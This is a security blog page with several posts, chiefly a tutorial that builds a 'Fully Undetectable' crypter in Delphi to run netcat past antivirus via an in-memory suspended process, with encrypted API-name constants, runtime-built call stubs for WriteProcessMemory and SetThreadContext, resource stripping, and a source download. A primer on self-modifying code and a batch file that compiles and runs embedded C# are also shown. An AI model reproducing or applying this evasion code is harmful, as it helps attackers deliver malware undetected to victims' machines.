IT Security Lab The Playground for IT Security Specialists and Pentesters

3Jan/115

Changed language does not persist when Skype is restarted: how to solve the annoying issue

You know, I like intelligent and handy software. I really do. But I hate with my all heart when the application (or the application's author?) is eee... "too smart". ;-) And what especially makes me nervous is when author calls some idiotic application's behavior "a  feature". I think Skype is a nice example of it. Look at this:

I have the default system language in Windows set up as English, but the default one for the non-Unicode programs is set to Polish. Nothing wrong with it, right. So when I start Skype for the first time it happily detects this setting and switches its language accordingly to the Polish too. Chaaarming. ;-)

Now let's imagine that I want to change the default Skype's language permanently to English (well, I much prefer English UI in all apps, ok). Seems life is easy: click the main menu, then Tools --> Change language --> English ... and the language is changed. Now try to close Skype and open it again... What you you see: the application's language is immediately switched back to Polish! Ok, you may try to attack the problem from the different side: Tools --> Options --> Tab: General setting --> Languages combo: English, then Save. Unfortunately the effect is exactly the same: when Skype is restarted - it switches the language to the one set up as the default for non-Unicode programs (in my case: Polish). God knows why this proggy has such amazing feature, but believe me - to change the language manually after each restart is becoming pretty annoying after some time.

As usual, I google the problem and quickly found out that I am not alone: look here for example http://portableapps.com/node/21644. So can we do anything? Yes we can®! :-)

I wrote a small program which runs the Skype and then simulates mouse clicks on the main menu and kind of "pseudo-manually" switches the application's language to the default one (English). This is also a nice small example how you may access the main menu of the application "B" from the code of application "A" and execute some  functionality in application "B". No worries, we are not "literally" moving the mouse cursor the the menu, but issuing some appropriate system messages - so everything is pretty elegant.

Ok, if someone needs only executables here they are (with the source code in Delphi):

Usage is very simple: extract the executable and put it to the same folder where your SkypePortable.exe or Skype.exe is located and then run. My little program runs Skype, waits until it is loaded and switches the language to English. Job done! :-)

Some technical background

Ok, so this is how it works. First of all we have to find the Skype window in the system (assure it exists, so we may get it's handle and access its child elements). This is rather trivial, so no need to explain anything. Once the window is found this is what we are doing:

var
  menu: HMenu;
  id: integer;
  s: Array[0..255] of char;
begin
  tmrMain.Enabled := false;

  h := findWindow(pchar('tSkMainForm.UnicodeClass'), nil);  //--- find Skype's window
  menu := getMenu(h); //--- find the main menu
  GetMenuString(menu, 5, @s[0], 255, MF_BYPOSITION); //--- get the text of 6th menu item (should be '&Help')

  if string(s) <> '&Help' then  //--- current language is NOT English
  begin
    menu := getMenu(h); //--- main menu
    menu := GetSubMenu(menu, 4); //--- find the 5th menu item

    //--- activate this (5th) menu item, so all subitems can be redrawn. This is IMPORTANT!
    SendMessage(h, WM_INITMENU, WPARAM(menu), 0);
    SendMessage(h, WM_INITMENUPOPUP, WPARAM(menu),0);

    menu := GetSubMenu(menu, 2); //--- find the 3rd submenu item

    id := GetMenuItemID(menu, 9); //--- 10th menu item (select "English")
    PostMessage(h, WM_COMMAND, id, 0); //--- click it! :-)
  end;

  SendMessage(h, WM_SYSCOMMAND, SC_MINIMIZE, 0);
  application.Terminate;
end;

So 1st thing we have to do - we have to check what language is set up currently. We are getting the text of the 6th menu item and checking if it is equal to "&Help" or not. Currently it's "&Pomoc", which means the current language is not English (yea, it's Polish actually).

This is the code used for checking:

  h := findWindow(pchar('tSkMainForm.UnicodeClass'), nil);  //--- find Skype's window
  menu := getMenu(h); //--- find the main menu
  GetMenuString(menu, 5, @s[0], 255, MF_BYPOSITION); //--- get the text of 6th menu item (should be '&Help')

  if string(s) <> '&Help' then  //--- current language is NOT English
  begin
  [...]
  end;

Now we have to iterate through the menus and sub-menus and run some action on the target item. Look at this code:

    menu := getMenu(h); //--- main menu
    menu := GetSubMenu(menu, 4); //--- find the 5th menu item

    //--- activate this (5th) menu item, so all subitems can be redrawn. This is IMPORTANT!
    SendMessage(h, WM_INITMENU, WPARAM(menu), 0);
    SendMessage(h, WM_INITMENUPOPUP, WPARAM(menu),0);

    menu := GetSubMenu(menu, 2); //--- find the 3rd submenu item

    id := GetMenuItemID(menu, 9); //--- 10th menu item (select "English")
    PostMessage(h, WM_COMMAND, id, 0); //--- click it! :-)

Important detail: look at strings highlighted in red: this is important element of the code as the sub-menu with the list of languages is generated "on-the-fly" once the parent menu item is activated. Without it: the 10th menu item (language "English") simply does not exist, (hence can't be called).

One more remark: the proposed solution requires Skype user interface (Visual Style of the window) get running in "Classic Windows" mode.

14Dec/102

Smuggling .NET code inside batch files. Impossible? Who said that?

This will be rather a quick one. :-) Just check this out:

Create a batch (.bat) file with the following content and execute!:

/*
@echo off && cls
set WinDirNet=%WinDir%\Microsoft.NET\Framework
IF EXIST "%WinDirNet%\v2.0.50727\csc.exe" set csc="%WinDirNet%\v2.0.50727\csc.exe"
IF EXIST "%WinDirNet%\v3.5\csc.exe" set csc="%WinDirNet%\v3.5\csc.exe"
IF EXIST "%WinDirNet%\v4.0.30319\csc.exe" set csc="%WinDirNet%\v4.0.30319\csc.exe"
%csc% /nologo /out:"%~0.exe" %0
"%~0.exe"
del "%~0.exe"
exit
*/

class HelloWorld
{
static void Main()
{
System.Console.WriteLine("Greetings from IT Security Lab!");
System.Console.WriteLine("-------------------------------");
System.Console.WriteLine("RTM: " + System.Environment.Version);
System.Console.WriteLine("User: " + System.Environment.UserName);
System.Console.WriteLine("Machine name: " + System.Environment.MachineName);
System.Console.WriteLine("OS version: " + System.Environment.OSVersion);
System.Console.WriteLine("Stack trace: " + System.Environment.StackTrace);
System.Console.ReadLine();
}
}

I was absolutely amazed. The implications for security are... well... pretty complex. You are clever boys and girls, so you already know what can be done with it, right...

Found here: http://forum.antichat.ru/

17Sep/100

IIS 5.x allows 10 connections only? Says who? I see no limits!… ;-)

Everything new is actually well-forgotten old, that's what I think. Recently I had a desperate need to configure IIS 5.1 in our testing environment because of a pretty annoying error message:

HTTP 403.9 - Access Forbidden: Too many users are connected

The reason was quite simple: IIS 5.x by default has a number of connections limited to 10. Our lovely Micro$oft for sure would be happy if we would spend couple of additional quid and buy e.g. Server 2003 instead of good-old XP (if we really need unlimited connections so much). And this is a total rip-off in the middle of the day, right. And we don't like it VERY much. So... Always there is a solution, isn't it. ;-) And what is interesting: pretty legitimate in this case. So sorry for disappointing: we will not be hacking IIS today. No hardcore stuff like cracking, DLL injections, or binary files, etc. Everything is much much simpler.

For sure it was published somewhere before, but I still think this information may be useful for you.

Ok, so here is what you have to do if you want to enable unlimited number of connections for your IIS:

1. Go here [http://support.microsoft.com/...] and download Plugin MetaEdit and install it. Note: do not overwrite the new versions of DLLs with the old ones (you will be asked about it during the installation).

2. Go to: Control Panel --> Administrative Tools --> MetaEdit

3. Run MetaEdit (looks like RegEdit, isn't it?), go to the key LM/W3WSVC/MaxConnections and change the value from 10 to -1 (or 100000 if you feel better).

That's all folks! By the way, the MetaEdit is a very powerful tool which gives you full control over your IIS, so I strongly recommend you to play with it. But considering that it's Friday and the weather is (still) nice - maybe you'd better go out and take some fresh air. :)

IIS 5.1 connection limit
3Sep/1010

Writing Crypter. Bypassing Antivirus – “how-to” For Beginners.

Ok my dear IT-boys, accompanied with naughty IT-girls: this is the long-promised article about how to bypass the antivirus protection. I hope you already after the previous article: Self-modifying code - short overview for beginners, so you know this-and-that about pointers, windows API, breaks, debugging, etc.

Now we gonna try to create something interesting by ourselves. We will create a fully working crypter: a program which allows to run any third-party (and potentially malicious) code the way it will not be detected by antivirus program. We are ambitious beasts, so we will "raise a bar" and try to create FUD Crypter (stands for: Fully Undetectable). :-) Still don't get it? See this video to have a taste of what this story will be about:

Before we will go further - one small reminder:

Information in this article is prepared for better understanding of malware mechanisms, developing hacker defense attitude among the users and help preventing the hacking attacks. You may experiment on your own computer ONLY, at your own risk and responsibility.

Ok, it seems you got it now. :-) Even more: you want to understand how you can do the same thing, right? But for the beginning we have to find out what is so important for the antiviruses? How they detect malware? What actually they are looking for?...

So you downloaded some warez.exe and double-clicked it. This is what happening next:

AV's Point of view

Phase one: before the malicious (or suspicious) program is executed

The first thing an antivirus is doing - it's checking if the program is packed. If it is packed - the appropriate unpacker should be used and the code and data should be expanded to memory and then disassembled. In a meantime our AV may also check and resolve an API imports so it would be known then: what API functions are used. I don't want to go deep into details what Portable Executable (or PE) format is, but generally - compiled code is copied to memory almost one-to-one as it is in the binary file. So our antivirus is looking there for a opcodes of certain API calls, speciall data strings (like: "P0wNeD by WiLd HakCer" or famous: "All your base is belong to us") and many other interesting things. Generally antivirus software is looking for a certain suspicious-looking binary code patterns or so-called "signatures". If such thing is found (a pattern or combination of patterns): our antivirus is immediately popping-up a nice red-colored window, (featuring a pride of GUI team: bug.jpg) with information that "malicious code was successfully stopped".

Phase two: while the program is running

It is obvious that some (malicious) code may be hidden, encrypted, obfuscated or even created "on-the-fly". To be able to deal with such tricks our antivirus is also capable to monitor and intercept API calls (uses hooks) and does a kind of "behavioral analysis". So if your notepad.exe for some strange reason is trying to do some "naughty" things (e.g. access memory of another process) - this means well... "something is fishy" and our famous red-colored window appears on a horizon again.

The project

This is actually a proof of concept: how surprisingly easy you may create a code which will be able to bypass antivirus protection. Our "guinea pig" will be the well-known Netcat for windows (...so the cat becomes pig...). ;-) This program is good enough because it is happily detected by many antiviruses as a malware (and this is exactly what we need now).

You already know that I have no passion for reinventing a wheel, so I used one of existing projects as a template (btw, you may find hundreds of them in Internet). The original code is actually an n-th clone of Simple crypter for beginner by Xash, naturally in Delphi. Using this Crypter "as it is" nowadays is pointless because the code is old and whatever it does - is immediately detected by all modern antiviruses. The original idea however is nice and elegant. This is how it works:

You point the Crypter to your malicious software (netcat: netcat.exe) and run. The Crypter produces another executable: let's call it nc_crypted.exe.  This is the structure of this file:


So the netcat is placed in the "tale" of our binary, located in between two markers. Markers are needed, because the length of the decryption routine (so called: stub) may vary and the length of the payload (in our case: netcat.exe) can be variable too. The payload may be copied as it is (which is stupid of course, because would contain dozen of signatures detected by antiviruses) or encrypted (e.g.: XOR'ed).

Now real cool stuff begins. Once you click netcat_crypted.exe, it is loaded to the computer's memory and executed. Then it creates all structures needed to run the brand new (malicious) process directly in memory. The new process is created in "suspended" state. Now our stub decrypts the netcat code, takes it as an array of bytes and fills appropriate structures prepared for the new process. By this way, the new malicious code appears in computer's memory in fully legitimate way in a kind of "frozen" condition. This can be done with or without touching the hard drive which may make detection even more difficult. Once everything is ready - it's enough to call the process and our netcat is executed!

Everything is sweet, but there is a big problem: the loader (stub) produced by the original Crypter is already "well-known" to antiviruses. :-( So we must do some modifications in the code to make the binary significantly different from the original. What people are doing often (with minimal success):

  • Adding junk code for modifying execution flows.
  • Changing or encrypting strings.
  • Changing variable names.
  • Changing the order of all code aspects.
  • Adding or changing icon.

But be are tough guys, right :-) So we will try to do something even more advanced:

  • We will encrypt all string variables and also the payload with industry standard data encryption algorithm (so forget about lousy XOR).
  • We will obfuscate all "suspicious" API function calls.
  • We will make the length of all elements of the "tail" fully variable, hence unpredictable.
  • We will clean-up the final binary from all unnecessary strings and hidden resources which potentially may be treated by antiviruses as signatures.

Look at the structure of netcat_crypted.exe now:

Our final netcat_crypted.exe is slightly more complicated now, isn't it. We will be using Serpent symmetric key block cipher algorithm for data encryption. Delimiters will be random, and with various length.

We already know about runtime API address resolution from the previous article, - this knowledge will be needed in our case. API function names are acting as virus signatures (in certain combination), because they are plain strings. So we definitely need to hide them. To obfuscate API function names there was additional program written, called StringsEncoder, which can be downloaded from [here]. This is an example of processing a one string constant only (CreateProcessA):

The program of course allows automatically creating Delphi unit with all strings needed for further API resolution. Something like this:

unit untStealthLibEncryptedConstants;

interface
const
stealth_api_key = 'FFFFFF';

//--- ntdll.dll
stealth_api_ntdll_dll = #151#162#78#47#246#220#236#211#180;

//--- kernel32.dll
stealth_api_kernel32_dll = #146#179#88#45#255#158#187#141#246#218#85#47;

//--- ResumeThread
stealth_api_ResumeThread = #171#179#89#54#247#151#220#215#170#219#88#39;

//--- SetThreadContext
stealth_api_SetThreadContext = #160#35#175#108#116#81#2#117#36#1#253#77#22#184#249#213;

//--- GetThreadContext
stealth_api_GetThreadContext = #74#15#91#48#30#10#90#169#42#88#179#175#66#122#117#27;

//--- ZwUnmapViewOfSection
stealth_api_ZwUnmapViewOfSection = #44#131#64#41#12#11#153#183#42#190#96#210#201#242#28#239#119#183#72#23;

//--- VirtualProtectEx
stealth_api_VirtualProtectEx = #48#159#184#128#253#89#90#127#8#170#190#50#247#131#160#5;

//--- WriteProcessMemory
stealth_api_WriteProcessMemory = #45#223#165#0#74#26#118#180#87#250#141#13#184#78#61#86#3#145;

//--- ReadProcessMemory
stealth_api_ReadProcessMemory = #238#114#76#133#179#99#51#10#144#167#177#46#40#177#109#225#87;

//--- CreateProcessA
stealth_api_CreateProcessA = #186#164#79#34#238#151#216#205#183#221#92#48#237#58;

//--- CreateProcessInternalA
stealth_api_CreateProcessInternalA = #105#137#69#61#231#85#214#72#52#80#38#81#37#7#230#72#40#30#57#152#146#21;

implementation
end.

So our antivirus has no chance when will be searching for strings like "WriteProcessMemory" or "CreateProcessA". If only a key you would use for your build will be different: no chance for detection.

Ok, we already know that antiviruses are extremely sensitive when certain API functions are called (see the list above). And we must be able to call them to do our dirty stuff. So what can we do? The trick was explained well-enough in the previous lesson: you have to use the undocumented API functions. Those functions are very often just "wrapped" to a well-documented documented functions later.

And of course we will be creating code for all API function calls at runtime (as opcodes) - again see my previous lesson for details. Example from Delphi unit untStealthAPI:

//----------------------------------------stealth WIN API function: ResumeThread (SELF-MODIFYING)
function v_ResumeThread(hThread: cardinal): boolean;
var c: TByteArray;
fResult: dword;
oldProtect: DWORD;
dummyFunc: function: Integer; //--- dummy function
begin
CreateAPIFunctionTemplate(c, 1); //--- nr of parameters = 1

WriteDwordAddress(hThread, c, 2); //--- directly copy the VALUE of the "hThread"
WriteCalculatedFunctionAddress(@c,
c,
6, //--- this points to E8 (where CALL starts!!!)
GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
DecryptStringToString(stealth_api_ResumeThread, stealth_api_key)), //--- ResumeThread
5); //--- CALL procedure length (in bytes) = 5

@dummyFunc := @c; //--- point inline dummy function to our byte array
v_VirtualProtectEx(0, @dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
dummyFunc; //--- execute our function

asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
result := boolean(fResult);
end;

or another function:

//------------------------------------stealth WIN API function: VirtualProtectEx (SELF-MODIFYING)
function v_VirtualProtectEx(hProcess: THandle;
                             lpAddress: Pointer;
                             dwSize,
                             flNewProtect: DWORD;
                             lpflOldProtect: Pointer): boolean;
var c: TByteArray;
    fResult: dword;
    oldProtect: DWORD;
    dummyFunc: function: Integer; //--- dummy function
begin
   CreateAPIFunctionTemplate(c, 5); //--- nr of parameters = 2

   WriteDwordAddress(dword(@lpflOldProtect), c, 2); //--- directly copy the VALUE of the "lpflOldProtect" (4 bytes)
   WriteDwordAddress(flNewProtect, c, 7); //--- directly copy the VALUE of the "flNewProtect" (4 bytes)
   WriteDwordAddress(dwSize, c, 12); //--- directly copy the VALUE of the "dwSize" (4 bytes)
   WriteDwordAddress(dword(@lpAddress), c, 17); //--- directly copy the VALUE of the "lpAddress" (4 bytes)
   WriteDwordAddress(hProcess, c, 22); //--- directly copy the VALUE of the "hproces" (4 bytes)

   WriteCalculatedFunctionAddress(@c,
                                  c,
                                  26, //--- this points to E8 (where CALL starts)
                                  GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
                                                  DecryptStringToString(stealth_api_VirtualProtectEx, stealth_api_key)), //--- VirtualProtectEx
                                  5); //--- CALL procedure length (in bytes)

   @dummyFunc := @c; //--- point inline function to our byte array
   VirtualProtect(@dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
   dummyFunc; //execute our function

   asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
   result := boolean(fResult);
end;

Ok, so everything is combined together, and new shiny Crypter is built. Finally we have to use excellent third-party program Resource Hacker to remove various unneeded data (resources) from our executable. We may create a batch file of this kind:

@echo on
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", StringTable,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,DVCLAL,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Cursor,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Bitmap,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Dialog,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", CursorGroup,,

Now the Al3ksCrypter is born! :-) You can take the [binary and the source code here].

The application is very simple but has some additional features:

  • Stub may be optionally compressed by UPX.
  • Payload may be ran as minimized.
  • Additional command line parameters may be provided. Your payload will be automatically executed with them (e.g.: port number and optional parameters for netcat listener).

You already being seeing the film how the tool works, now I just would show the final screen (here is [direct link to report]):

Conclusion

Think twice when you click on any file from untrusted source and for god's sake: DO NOT RELY on your antivirus. :)

P.S.: I would appreciate your feedback, so don't hesitate to contact me with your comments and also if you want to add something to the article. Note that this is easy article, so we are not going deep into details in purpose.

25Aug/100

Self-modifying code – short overview for beginners

Introduction

Today I would like to let us touch the area of self-modifying and obfuscated code. It’s not a secret that obfuscation is a basis “survival” technique for every modern malware. The business is simple: if your “kung-fu” is good enough – the probability that your malicious software would be able to survive (and successfully do its dirty job) is much higher. On the other side of the barricade there are countless AVs, IDSs, IPSs, firewalls, etc., which are claiming to be fully-automated intelligent malware detection tools. Both sides are motivated and very engaged in the battle so winners and losers are changing their places quite often. So today we would take a closer look to the "dark side".

The main reason for the article is my impression that so many people (surprisingly, the ones working in IT security and forensic) have really no idea how malware is working  It is also is not clear how the tools for malware detection are dealing with it. And honestly, how you can fight with something if you don't know what it actually is? Know Your Enemy, dude! I want to demonstrate that self-modifying code is actually quite smart, but not necessarily too complicated mechanism. I also want us to become a malware investigators and for the very beginning try to hide the only one, single (and simple) function in our binary.

Oh yes, there are actually two articles. The first (this one) is a kind of introduction into code obfuscation. The second one will be an attempt to write fully working cryptor – the software which would allow us to execute malicious code and bypass antivirus protection! There is a small application prepared which illustrates everything below so you are welcomed to [download] it before the training. I will be intentionally omitting many technical details, just to give a broad view. Everything you need can be found later in thousand sources in the Internet.

Prerequisites:

  • Some knowledge of programming for Windows (examples will be in Delphi, but they are quite simple, so may be easily implemented in any other programming language). You definitely have to know what pointers are. It is also highly recommended to know what the Windows API is.
  • Basic knowledge of debugging binary applications for Windows would also be desired. We will be using famous and free OllyDBG.
  • Basic knowledge of assembler (I mean it: a very basic one. Don't run away now!).  :-)

Ok, it's time to dance.

Part 1. Five Flavours of MessageBox

Definition

Self-modifying code is the kind of code that literally changes its own instructions while it is executing. Self-modification can be accomplished in a variety of ways depending upon the programming language and its support for pointers and/or access to dynamic compiler or interpreters. Here are some examples:

  1. Overlay of existing instructions (or parts of instructions such as opcode, register, flags or address).
  2. Direct creation of whole instructions or sequences of instructions in memory.
  3. Creating or modification of source code statements followed by a 'mini compile' or a dynamic interpretation (see eval statement).
  4. Creating an entire program dynamically and then executing it.

In  our tutorial we will be playing with the code modification throughout execution ('on-the-fly') with emphasis on direct creation of instructions in memory.

Experiments

Traditionally, we would start from something easy. And what can be more simple than showing a message box. :-)

procedure TForm1.Button1Click(Sender: TObject);
begin
  application.MessageBox('This is my first text', 'Info', mb_ok); //--- parameters: message, caption, style
end;

Note: we provided three parameters to the Delphi function application.MessageBox. And the execution of this gives us the following (very predictable) result.

Nice. It would be interesting to see what the processor is doing when the binary is executed. Our good-old OllyDbg is coming with help. Ok, we are loading our .exe into the debugger and assuring the breakpoint on the API function MessageBoxA is set up.

Now run the binary and press the button nr 1 in our sweet application. Woop! Debugger stopped at the breakpoint and we may observe some interesting things.

Executed instructions (opcodes and disassembled code):

And the processor's stack:

What we may actually see is that the Delphi application.MessageBox function is nothing but a kind of a "wrap-up" for the Windows API function: MessageBoxA defined in the library user32.dll. This function has not three but four parameters:

  • parent window's handle (address)
  • the text (address of the text in memory)
  • window caption (address of the caption in memory)
  • window style (buttons used, etc)

Last but not least: we also must have the address of the MessageBoxA function to be able to call it. Generally Windows API functions are used more-or-less the following way: their parameters are PUSHed in processor stack in reversed order (see the illustration above), then address of the function is copied to EAX and CALL is executed.

Once we know what is going on - we may try to call the same function (user32.MessageBoxA) directly in Assembler. Let's define some global variables first (I will tell you later why we use globals):

var
  str1,
  str2: pchar; //--- our strings
  pAddr: integer; //--- address of the function

And now write the function itself:

procedure CallMessageBox();
asm
  push dword ptr 0 //--- push style: 0
  push dword ptr str1 //--- push DWORD parameter (caption)
  push dword ptr str2 //--- push DWORD parameter (message)
  push dword ptr 0 //--- push hOwner: 0
  mov eax, pAddr
  call eax //-- call address of the function, which is currently in EAX
end;

This is the way we may call this function (when pressing button nr 2):

procedure TForm1.Button2Click(Sender: TObject);
begin
  str1 := 'Info';
  str2 := 'This is my second text';
  pAddr := dword(GetProcAddress(GetModuleHandle('User32.dll'), 'MessageBoxA'));

  CallMessageBox;
end;

The way we may get the address of the function exported by user32.dll is highlighted in red. Style = 0 (not defined) so the only "OK" button is shown. hOwner can also be 0 (new window's owner is a current application). Press the button nr 2 - everything works. Now let's check our executed code in the debugger:

...and the stack:

All is clear, right? Now maybe there should be a word said about why the "global variables" are used. This is because we want to have a "far" addresses: full DWORDs. If we would use a local variables - the code will be different because of optimization made by a compiler. And we need a simple and very clear picture now, isn't it?

Ok, everything up to this point was just a list of instructions, written in high-level programming language (Delphi) or low-level (Assembler), compiled and executed as a static binary code (a sequence of processor instructions).

Now let's think: we know how those processor instructions looks like. Why not to create exactly the same sequence of instructions but at runtime? So we can create kind of a "program A" which at runtime would write to the  memory a sequence of some instructions (kind of "program B") and then execute them.

But before that let's check if we may access the opcodes of any existing function (read it from the memory). Because it would be much easier to copy the opcodes from existing functions not being using OllyDBG. (We are naturally lazy hackers, aren't we...) :)

This or that way, I prepared some simple function which can do that:

//---------------------------it allows to get opcodes from any existing function
function copyOpcodesFromExistingFunction(sourceFunc: pointer; maxLength: integer): string;
var i: integer;
    p: pointer;
    code: string;
begin
  result := '';
  for i := 0 to maxLength do //--- now we can see the opcodes of this function
  begin
    p := ptr(dword(sourceFunc) + dword(i)); //--- craft pointer directly.
    code := inttohex(byte(p^), 2);
    result := result + code;
    if code = 'C3' then break;
  end;
end;

Function copies everything from certain place in the memory (by given pointer to an analysed object/function) and reads the commands until it would meet C3 opcode, which is "return from the function" (or RET). Quck illustration what the pointer is here:

The similar approach is used for any other structures in memory (except maybe the fact that the data may not necessarily finish with a null byte). So let's check the opcodes of our function CallMessageBox.

procedure TForm1.Button3Click(Sender: TObject);
var
  myAsm: string;
begin
  str1 := 'Info';
  str2 := 'This is my third text';
  pAddr := dword(GetProcAddress(GetModuleHandle('User32.dll'), 'MessageBoxA'));
  caption := inttohex(pAddr, 8);

  memo1.Text := copyOpcodesFromExistingFunction(@CallMessageBox, 40); //---take opcodes from existing function
end;

This is what you would see when press the button nr 3:

Looks familiar, isn't it? :-) If we would add some line breaks - we would see the opcodes, previously shown by the debugger.

The technique described above, by the way, is the very nice way to review the opcodes for any function in Delphi. Kind of "self-debugger" or something... Great, now let's do the same, but the opposite way: now we would construct the same code at runtime. See this:

//---------------------------------construct our function manually (MessageBoxA)
procedure TForm1.Button4Click(Sender: TObject);
var
  myAsm: string;
  t: TByteArray;
  oldProtect: DWORD;

  dummyFunc: function: Integer; //--- dummy function
begin
  str1 := 'Info';
  str2 := 'This is my fourth text';
  pAddr := dword(GetProcAddress(GetModuleHandle('User32.dll'), 'MessageBoxA'));

  myAsm := ' 6800000000' + //--- push style: 0
           ' FF35' + inttohex(swapEndian(dword(@str1)), 8) +  //--- push dword: caption address
           ' FF35'  + inttohex(swapEndian(dword(@str2)), 8) + //--- push dword: message address
           ' 6800000000' + //--- push hOwner: 0
           ' B8' + inttohex(swapEndian(pAddr), 8) + //--- mov EAX, dword: API function address
           ' FFD0' + //--- call EAX
           ' C3'; //--- RET (return from function)

  t := StringToArrayOfByte(myAsm);

  @dummyFunc := @t; //--- point the inline function to our byte array
  VirtualProtectEx(0, @dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);  //--- allow the page where the code resides - treated as executable

  dummyFunc; //--- run our hand-crafted function
end;

This is what's happening when you press the button nr 4.

  1. We assign values to our string variables ("info", "fourth text").
  2. We are retrieving the address of the function we will be calling (MessageBoxA).
  3. We create the string (myAsm) which is ASCII-hex-encoded list of our instructions to be executed.
  4. Our instructions list (myAsm) is written as bytes into memory TByteArray.
  5. We assign the pointer of the dummy function to the TByteArray.
  6. We mark the memory page where our TByteArray (actually - our new function) resides as code (PAGE_EXECUTE_READWRITE), so our innocent bytes (data) becomes a code and can be executed.
  7. The function (our brand new code: dummyFunc) is successfully executed by user.

The result:

Hurray, it works! Here some important things:

  • Keep attention to this definition: TByteArray = array[1..200] of byte (Important!)
  • We must keep in mind the reversed sequence of parameters.
  • We must swap endians for all addresses (A1B1C1D1 becomes D1C1B1A1). Don't ask me why - processor just works this way.

Important remark: we know perfectly that all strings explicitly defined in source code will be clearly visible in our binary. All instructions after compilation are also visible in our binary. You will find them in a one second, being armed with a hex editor. And this is also exactly what all antiviruses are doing: checking for certain combinations of bytes in binaries (on hard drive) and/or in memory, before execution of the program. See our code inside of the binary:

Of course AV's don't care about our innocent MessageBoxA, but for sure may keep much more attention e.g. to the following functions: VirtualProtect, SetThreadContext, GetThreadContext, WriteProcessMemory, ReadProcessMemory, CreateProcess, etc.

So what we can do to make it more difficult to detect what our program will be doing?

  • We may encrypt all strings (all our data, our code which will be executed and all keywords like "User32.dll" or "MessageBoxA".
  • We may use undocumented API functions.

Whaaat? How you can use something which is not documented? And what the hell it is? In short: it's kind of a "box inside the box". :-) Something like this:

So we already know that the Delphi's Application.MessageBox is actually calling MessageBoxA. But there is more: the MessageBoxA is internally calling another function: MessageBoxExA. This inner function may have different (or additional) parameters. We can easily proof it with our debugger by setting up the break on MessageBoxExA:

The result (clearly MessageBoxA is calling MessageBoxExA):

Parameters on stack:

We clearly see one more additional parameter appeared: languageID. Btw, it's a nice and simple example of API's reverse engineering, isn't it. We may confirm our findings in MSDN (assuming the function is documented) or google for it. Ok, so what we can do now, we may construct our opcodes for the MessageBoxExA instead of MessageBoxA. This is it:

procedure TForm1.Button5Click(Sender: TObject);
var
  myAsm: string;
  t: TByteArray;
  oldProtect: DWORD;

  dummyFunc: function: Integer; //--- dummy function
begin
  str1 := pchar(simpleDecryption('B6919990')); //--- encrypted text: "Info"
  str2 := pchar(simpleDecryption('AB97968CDF968CDF9286DF9996998B97DF8B9A878B')); //--- encrypted text: "This is my fifth text"
  pAddr := dword(GetProcAddress(GetModuleHandle(pchar(simpleDecryption('AA8C9A8DCCCDD19B9393'))), //--- encrypted text: "User32.dll"
                                pchar(simpleDecryption('B29A8C8C9E989ABD9087BA87BE')))); //--- encrypted text: "MessageBoxExA"

  myAsm := ' 6800000000' + //--- push languageId: 0
           ' 6800000000' + //--- push style: 0
           ' FF35' + inttohex(swapEndian(dword(@str1)), 8) +  //--- push dword: caption address
           ' FF35'  + inttohex(swapEndian(dword(@str2)), 8) + //--- push dword: message address
           ' 6800000000' + //--- push hOwner: 0
           ' B8' + inttohex(swapEndian(pAddr), 8) + //--- mov EAX, dword: API function address
           ' FFD0' + //--- call EAX
           ' C3'; //--- RET (return from function)

  memo1.Text := myAsm;
  t := StringToArrayOfByte(myAsm);

  @dummyFunc := @t; //--- point the inline function to our byte array
  VirtualProtectEx(0, @dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);  //--- allow the page where the code resides - treated as executable

  dummyFunc; //--- run our hand-crafted function
end;

Note that strings are also encrypted now. The myAsm variable may also be initially encrypted (I left it as it is - to make everything a little bit more clear). There are some primitive encryption functions used:

Encryption:

function simpleEncryption(dataIn: string): string;
var i: integer;
begin
  for i := 1 to length(dataIn) do result := result + inttohex(255 - ord(dataIn[i]), 2);
end;

Decryption:

function simpleDecryption(dataIn: string): string;
var i: integer;
begin
  for i := 1 to length(dataIn) div 2 do result := result + chr(255 - strToInt('$' + copy(dataIn, i * 2 - 1, 2)));
end;

When you press the button nr 5 - result is exactly as expected: Message box is popping-up.

Even if our suspicious antivirus for some reason is sensitive to the opcodes of MessgeBoxA (assuming this function may be used for something bad) - it may not necessarily be so sensitive to MessageBoxExA. And this is exactly what we want to achieve!

Conclusion

The simple self-modifying and obfuscating mechanism described above may be surprisingly good to omit antivirus protections. Now, being knowing all this, we may try to do something more serious: write our own cryptor, which should allow us to "smuggle" a 3rd party malicious code to any target system. Stay tuned and w8 for the 2nd part of the tutorial.

I would like to encourage you for feedback, which would be very useful. This would help us to adjust the texts and illustrations, avoid possible uncertainties and make everything even more easy to read and understand. :)